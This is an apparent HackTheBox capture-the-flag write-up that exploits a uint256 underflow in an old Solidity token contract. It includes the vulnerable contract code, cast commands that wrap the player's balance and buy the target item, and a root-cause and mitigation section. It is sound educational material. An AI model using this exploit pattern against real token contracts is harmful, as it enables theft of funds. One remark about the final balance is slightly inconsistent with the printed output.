Writeups/HTB Blockchain/Token to Wonderland
MediumHackTheBox · Blockchain

Token to Wonderland

A Check That Always Passes

In mathematics, subtracting a larger number from a smaller one gives a negative result. In Solidity before version 0.8.0, there are no negative unsigned integers — only a silent wrap to 2²⁵⁶ − 1. A balance check written as require(a - b >= 0) will always pass, because the result of uint256 arithmetic is always non-negative — even when it should be impossible.

uint256 underflowpre-0.8.0 SolidityERC-20arithmeticSafeMathunsigned integers
01

Challenge Overview

The narrative: Alex and her group find a shop selling powerful artifacts. They have only 100 SilverCoins, but the Golden Key they need costs 25,000,000. The challenge is asking you to notice a fundamental flaw in how the token contract handles arithmetic — one that turns a balance of 100 into one of effectively unlimited size.

Objective: Acquire the Golden Key (item index 2) in the Shop contract. The win condition checks TARGET.viewItem(2).owner == player.

02

Contract Architecture

Setup.sol

solidity
1constructor(address _player) payable {
2 SilverCoin silverCoin = new SilverCoin();
3 silverCoin.transfer(_player, 100); // player starts with only 100 coins
4 TARGET = new Shop(address(silverCoin));
5}
6
7function isSolved(address _player) public view returns (bool) {
8 (,, address ownerOfKey) = TARGET.viewItem(2);
9 return ownerOfKey == _player; // win = own item at index 2
10}

The setup is clear: we start with 100 coins and need to own item index 2. The path is through the Shop.

Shop.sol

solidity
1// Item added in constructor
2items.push(Item("Golden Key", 25_000_000, address(this)));
3
4function buyItem(uint256 _index) public {
5 Item storage _item = items[_index];
6 bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price);
7 require(success, "Payment failed!");
8 items[_index].owner = msg.sender;
9}

The Golden Key costs 25,000,000 coins. The shop uses transferFrom — which means we need to first approve the shop to spend our tokens, then call buyItem. The shop relies entirely on the token contract's transfer logic. If that logic is broken, the price barrier disappears.

SilverCoin.sol — Two Transfer Functions

This is where the vulnerability lives. The contract has two separate internal transfer implementations with a critical difference in their safety checks:

solidity
1// Called by the public transfer() function — VULNERABLE
2function _transfer(address from, address to, uint256 amount) internal {
3 uint256 fromBalance = _balances[from];
4 require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance"); // BUG
5 _balances[from] = fromBalance - amount;
6 _balances[to] += amount;
7}
8
9// Called by the public transferFrom() function — CORRECT
10function _transferFrom(address from, address to, uint256 amount) internal {
11 uint256 fromBalance = _balances[from];
12 require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); // correct
13 _balances[from] = fromBalance - amount;
14 _balances[to] += amount;
15}
03

Arithmetic in Solidity Before 0.8.0

To understand the vulnerability, you need to understand how unsigned integers behave in Solidity versions prior to 0.8.0.

In Solidity, uint256 is an unsigned 256-bit integer. "Unsigned" means it has no sign bit — it cannot represent negative numbers. Its valid range is 0 to 2²⁵⁶ − 1, which is approximately 1.16 × 10⁷⁷.

Mental Model — uint256 Wrap-Around

Think of a uint256 as a counter on an old mechanical odometer with 77 digits.

When you go past the maximum (all 9s), it wraps back to 0. When you try to go below 0 from a counter that's at 0, it wraps up to the maximum (all 9s).

The subtraction 0 - 1 in uint256 does not give -1. It gives 2²⁵⁶ - 1 = 115,792,089,237,...,639,935.

In Solidity <0.8.0, this happens silently. No error is thrown. The program continues as if nothing unusual happened.

Solidity 0.8.0 (released December 2020) introduced built-in overflow/underflow protection. Any arithmetic operation that would wrap around now reverts instead. But code written before 0.8.0 — or compiled with pragma solidity ^0.7.0 — has no such protection. Developers were expected to use the OpenZeppelin SafeMath library manually.

04

The Broken Check — Why It Always Passes

The critical line in _transfer():

solidity
1require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");

This looks like a reasonable balance check to a programmer coming from Python or Java. In those languages, 100 - 101 = -1, and -1 >= 0 is false, so the require would revert.

But in Solidity with uint256 arithmetic and no overflow protection:

The Underflow Arithmetic
  fromBalance = 100
  amount      = 101

  fromBalance - amount

  In signed arithmetic:    100 - 101  =  -1    (what the developer expected)

  In uint256 arithmetic:   100 - 101  =  2²⁵⁶ - 1
                                       =  115792089237316195423570985008687907853
                                            269984665640564039457584007913129639935

  require(2²⁵⁶ - 1 >= 0)  ←  this is ALWAYS true for uint256
                              because uint256 can never be negative.

  Result: the require passes every time, regardless of actual balance.

The check that was supposed to prevent spending more than your balance is, in fact, completely inert. Any call to transfer() will pass the check no matter what amount is requested.

The second line — _balances[from] = fromBalance - amount — then stores the wrapped value. So our balance goes from 100 to 2²⁵⁶ − 1 in a single transaction.

WARNING

The correct check in _transferFrom reads require(fromBalance >= amount). No subtraction occurs inside the require. This correctly rejects transfers where amount > fromBalance. The two functions are nearly identical except for this one check — and that difference is everything.

05

Why Self-Transfer Fails

An intuitive first attempt: transfer tokens to yourself to trigger the underflow. The logic seems correct — the check would pass, and the balance would wrap around.

However, look carefully at what happens in _transfer when from == to:

solidity
1_balances[from] = fromBalance - amount; // balance decreases by amount
2_balances[to] += amount; // balance increases by amount

Both operations run on the same address. The balance first decreases by amount(wrapping to 2²⁵⁶ − 1), then increases by amount again. The net change is zero. The balance after a self-transfer is identical to the balance before.

To corrupt only the decrease side without the compensating increase, the transfer must go to a different address. We send to the burn address0x000...dEaD — our balance decreases (wrapping to 2²⁵⁶ − 1), and 101 tokens go to an address we don't control, which doesn't matter.

06

Finding the SilverCoin Contract Address

The Shop contract holds a reference to the SilverCoin token contract, but doesn't expose it through a public getter. We need to find it to call transfer() on it.

Looking at the Shop contract's storage layout:

Shop.sol Storage Layout
Slot 0: items.length       (uint256 — array length)
Slot 1: silverCoin address  (address — contract reference)
Slot 2+: items array data   (Item structs, packed)

Slot 1 holds the SilverCoin address. We read it the same way we read storage in the Rivals challenge:

Terminal
$ cast storage --rpc-url $RPC $TARGET 1
Output
0x000000000000000000000000a9917a9d4b19f5fb74fcdf31c4ff5db98a19af41

The address occupies the lower 20 bytes of the 32-byte slot. Extract it and verify:

Terminal
$ export COIN="0x$(cast storage --rpc-url $RPC $TARGET 1 | tail -c 41)"
cast call --rpc-url $RPC $COIN "balanceOf(address)(uint256)" $PLAYER
Output
100
07

Triggering the Underflow

We transfer 101 tokens — one more than our balance of 100 — to the burn address. The broken _transfer() function's check passes, and our balance wraps to 2²⁵⁶ − 1.

Terminal
$ cast send \
  --rpc-url $RPC \
  --private-key $PRIVATE_KEY \
  $COIN "transfer(address,uint256)" \
  0x000000000000000000000000000000000000dEaD \
  101

Confirm the underflow succeeded:

Terminal
$ cast call --rpc-url $RPC $COIN "balanceOf(address)(uint256)" $PLAYER
Output
115792089237316195423570985008687907853269984665640564039457584007913129639935

That enormous number is 2²⁵⁶ − 1 − 1 (we lost 1 extra to the burn address, and gained the underflow). For all practical purposes, we now have an effectively unlimited token balance.

08

Buying the Golden Key

The Shop uses transferFrom() to deduct the 25,000,000 price — which calls the safe _transferFrom() function. With our now-enormous balance, 25,000,000 is easily covered. First, approve the Shop to spend on our behalf:

Terminal
$ cast send \
  --rpc-url $RPC --private-key $PRIVATE_KEY \
  $COIN "approve(address,uint256)" \
  $TARGET 25000000

Then buy the Golden Key (index 2):

Terminal
$ cast send \
  --rpc-url $RPC --private-key $PRIVATE_KEY \
  $TARGET "buyItem(uint256)" 2

Verify:

Terminal
$ cast call --rpc-url $RPC $SETUP "isSolved(address)" $PLAYER
Output
0x0000000000000000000000000000000000000000000000000000000000000001
Complete Attack Flow
Player balance: 100 SilverCoins
        │
        │  transfer(0xdEaD, 101)
        │  calls vulnerable _transfer()
        │  require(100 - 101 >= 0) → passes silently
        ▼
Player balance: 2²⁵⁶ - 1 (wrap-around)
        │
        │  approve(Shop, 25_000_000)
        │
        │  buyItem(2)
        │  Shop calls transferFrom() → uses safe _transferFrom()
        │  25M << 2²⁵⁶ - 1, so check passes
        ▼
Player owns Golden Key
        │
        ▼
isSolved() → true
09

Root Cause & Mitigation

Root Cause

The bug is in the balance check inside _transfer():

solidity
1// Vulnerable: subtracts BEFORE comparing, uint256 never goes negative
2require(fromBalance - amount >= 0, "...");
3
4// Safe: compares BEFORE subtracting
5require(fromBalance >= amount, "...");

The developer intended to check "does the sender have enough balance?" but expressed it in a way that is semantically impossible to fail with unsigned integers. The irony is that the correct check is shorter and simpler.

Compounding Problem: Two Transfer Paths

Having two nearly-identical internal functions with different safety properties is an anti-pattern. When code is duplicated with slight variations, subtle differences like this are easy to miss in code review and easy to get wrong during implementation. The correct design is one internal function with the correct check, used by both public paths.

Audit Detection Pattern

Look for any require or if statement that performs subtraction before comparison. In Solidity <0.8.0, this is always a potential underflow. Tools like Slither flag this pattern automatically.

10

Lessons Learned

Lesson 1 — Solidity 0.8.0 Changed Everything

Before 0.8.0, arithmetic operations in Solidity wrapped silently. After 0.8.0, they revert on overflow/underflow. If you see pragma solidity ^0.7.x or lower in a challenge, integer overflow/underflow is always a candidate vulnerability.

Lesson 2 — Never Subtract Before Comparing

The pattern require(a - b >= 0) is always wrong for unsigned arithmetic. The correct form is require(a >= b). If you see the first pattern in audited code, flag it immediately regardless of compiler version.

Lesson 3 — Parallel Code Paths Invite Inconsistency

Having two internal transfer functions (_transfer and _transferFrom) with different safety checks created a situation where one path is safe and one is exploitable. Duplicated logic is a code smell in security-critical code. Prefer a single, thoroughly reviewed implementation.